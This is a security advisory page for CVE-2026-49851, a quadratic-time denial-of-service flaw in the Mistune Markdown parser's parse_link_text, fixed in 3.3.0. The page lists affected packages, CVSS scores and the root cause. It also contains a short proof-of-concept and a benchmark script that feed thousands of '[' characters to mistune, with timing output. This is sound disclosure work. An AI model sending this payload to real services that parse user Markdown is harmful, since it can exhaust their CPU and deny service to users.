8.7high
Mistune: Potential DoS via quadratic-time parsing in parse_link_text
- Severity
- 8.7high CVSS:4.0 by GitHub_M
- Exploit likelihood
- 0.52% (higher than 45% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-qcq2-496w-v96pPYSEC-2026-2652
Description
Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.3.0, Mistune is vulnerable to a CPU exhaustion DoS due to superlinear (approximately O(n²)) behavior in parse_link_text. When parsing Markdown containing many consecutive [ characters, parse_link_text repeatedly scans the input using a regex search inside a loop. Each iteration re-scans a large portion of the remaining string, resulting in quadratic-time behavior. An attacker-controlled Markdown input can therefore trigger excessive CPU usage with a very small payload. This vulnerability is fixed in 3.3.0.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| lepture mistune | < 3.3.0 | CVE List |
| rhoai/odh-pipeline-runtime-datascience-cpu-py312-rhel9 | Not specified Not affected: from 1787073866 before * | CVE List |
| rhoai/odh-pipeline-runtime-minimal-cpu-py312-rhel9 | Not specified Not affected: from 1787073936 before * | CVE List |
| rhoai/odh-pipeline-runtime-pytorch-cuda-py312-rhel9 | Not specified Not affected: from 1787073873 before * | CVE List |
| rhoai/odh-pipeline-runtime-pytorch-llmcompressor-cuda-py312-rhel9 | Not specified Not affected: from 1787073459 before * | CVE List |
| rhoai/odh-pipeline-runtime-pytorch-rocm-py312-rhel9 | Not specified Not affected: from 1787073611 before * | CVE List |
| rhoai/odh-pipeline-runtime-tensorflow-cuda-py312-rhel9 | Not specified Not affected: from 1787073451 before * | CVE List |
| rhoai/odh-pipeline-runtime-tensorflow-rocm-py312-rhel9 | Not specified Not affected: from 1787073451 before * | CVE List |
| rhoai/odh-th06-cpu-torch210-py312-rhel9 | Not specified Not affected: from 1787076778 before * | CVE List |
| rhoai/odh-th06-cuda130-torch210-py312-rhel9 | Not specified Not affected: from 1787077779 before * | CVE List |
| rhoai/odh-th06-rocm64-torch291-py312-rhel9 | Not specified Not affected: from 1787076481 before * | CVE List |
| rhoai/odh-workbench-jupyter-datascience-cpu-py312-rhel9 | Not specified Not affected: from 1787074331 before * | CVE List |
| rhoai/odh-workbench-jupyter-minimal-cpu-py312-rhel9 | Not specified Not affected: from 1787073913 before * | CVE List |
| rhoai/odh-workbench-jupyter-minimal-cuda-py312-rhel9 | Not specified Not affected: from 1787074078 before * | CVE List |
| rhoai/odh-workbench-jupyter-minimal-rocm-py312-rhel9 | Not specified Not affected: from 1787073929 before * | CVE List |
| rhoai/odh-workbench-jupyter-pytorch-cuda-py312-rhel9 | Not specified Not affected: from 1787073605 before * | CVE List |
| rhoai/odh-workbench-jupyter-pytorch-rocm-py312-rhel9 | Not specified Not affected: from 1787073546 before * | CVE List |
| rhoai/odh-workbench-jupyter-tensorflow-cuda-py312-rhel9 | Not specified Not affected: from 1787073717 before * | CVE List |
| rhoai/odh-workbench-jupyter-tensorflow-rocm-py312-rhel9 | Not specified Not affected: from 1787073713 before * | CVE List |
| rhoai/odh-workbench-jupyter-trustyai-cpu-py312-rhel9 | Not specified Not affected: from 1787073593 before * | CVE List |
| mta/mta-solution-server-rhel9 | Not specified | CVE List |
| rhoai/odh-th06-cpu-torch291-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-th06-cuda130-torch291-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-workbench-jupyter-pytorch-llmcompressor-cuda-py312-rhel9 | Not specified | CVE List |
| python-mistune | Not specified | CVE List |
| satellite/iop-advisor-engine-rhel9 | Not specified | CVE List |
| mistune (PyPI) | before 3.3.0 | GitHub Advisory Database, PyPA Advisory Database |
All scores
| GitHub_M | 8.7high CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N |
| redhat-SADP | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| GitHub | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| GitHub | high CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N |
| PyPA Advisory Database | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| PyPA Advisory Database | Not scored CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N |
Classification
What each source says
CVE List
Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.3.0, Mistune is vulnerable to a CPU exhaustion DoS due to superlinear (approximately O(n²)) behavior in parse_link_text. When parsing Markdown containing many consecutive [ characters, parse_link_text repeatedly scans the input using a regex search inside a loop. Each iteration re-scans a large portion of the remaining string, resulting in quadratic-time behavior. An attacker-controlled Markdown input can therefore trigger excessive CPU usage with a very small payload. This vulnerability is fixed in 3.3.0.
GitHub Advisory Database
Summary
Mistune is vulnerable to a CPU exhaustion DoS due to superlinear (approximately O(n²)) behavior in parse_link_text. A relatively small input consisting of repeated [ characters causes significant parsing slowdown.
Affected component
mistune/inline_parser.py → parse_link_text
Description
When parsing Markdown containing many consecutive [ characters, parse_link_text repeatedly scans the input using a regex search inside a loop. Each iteration re-scans a large portion of the remaining string, resulting in quadratic-time behavior. An attacker-controlled Markdown input can therefore trigger excessive CPU usage with a very small payload.
Root cause
The vulnerability stems from a two-loop interaction:
- The outer loop in
InlineParser.parse()(inline_parser.py) advances only 1 character at a time when parse_link() returns None - Each failed attempt calls
parse_link_text()which performs an O(n) scan to the end of the string looking for a closing] - With n consecutive
[characters, this results in O(n) × O(n) = O(n²) total work
PoC
Run below python script
import mistune
import time
md = mistune.create_markdown()
s = "[" * 6400
t = time.perf_counter()
md(s)
print(time.perf_counter() - t)
image
Benmark poc Run below code for benchmark
import mistune
import time
md = mistune.create_markdown()
sizes = [100,200,400,800,1600,3200,6400]
for n in sizes:
s = "[" * n
t0 = time.perf_counter()
md(s)
dt = time.perf_counter() - t0
print(f"{n:6d} {dt:.6f}")
image
Observed behaviour
python3 benchmark.py
100 0.001609
200 0.003207
400 0.012906
800 0.050220
1600 0.197307
3200 0.801172
6400 3.190393
Execution time grows superlinearly, consistent with O(n²) complex
Impact
This can be used as a denial-of-service attack in any application that parses user-supplied Markdown using Mistune, including:
- Web applications (comments, posts, content rendering)
- API services processing Markdown
- Documentation rendering systems
- A small (~6 KB) payload can block CPU for multiple seconds.
Suggested fix
Return the furthest scanned position from parse_link_text even on failure, so the outer loop can skip ahead instead of advancing 1 character at a time
Security Classification
CWE-400: Uncontrolled Resource Consumption Denial of Service (CPU exhaustion)
NVD (es)
Mistune es un analizador de Markdown para Python con renderizadores y complementos. Antes de la 3.3.0, Mistune es vulnerable a un DoS por agotamiento de CPU debido a un comportamiento superlineal (aproximadamente O(n²)) en parse_link_text. Al analizar Markdown que contiene muchos caracteres [ consecutivos, parse_link_text escanea repetidamente la entrada utilizando una búsqueda de expresiones regulares dentro de un bucle. Cada iteración vuelve a escanear una gran parte de la cadena restante, lo que resulta en un comportamiento de tiempo cuadrático. Una entrada de Markdown controlada por un atacante puede, por lo tanto, desencadenar un uso excesivo de la CPU con una carga útil muy pequeña. Esta vulnerabilidad se corrigió en la 3.3.0.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-49851 changed 2026-08-28 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-qcq2-496w-v96p changed 2026-09-10 | CC-BY-4.0 |
| NVD | CVE-2026-49851 changed 2026-10-25 | Public domain |
| PyPA Advisory Database | PYSEC-2026-2652 changed 2026-07-13 | CC-BY-4.0 |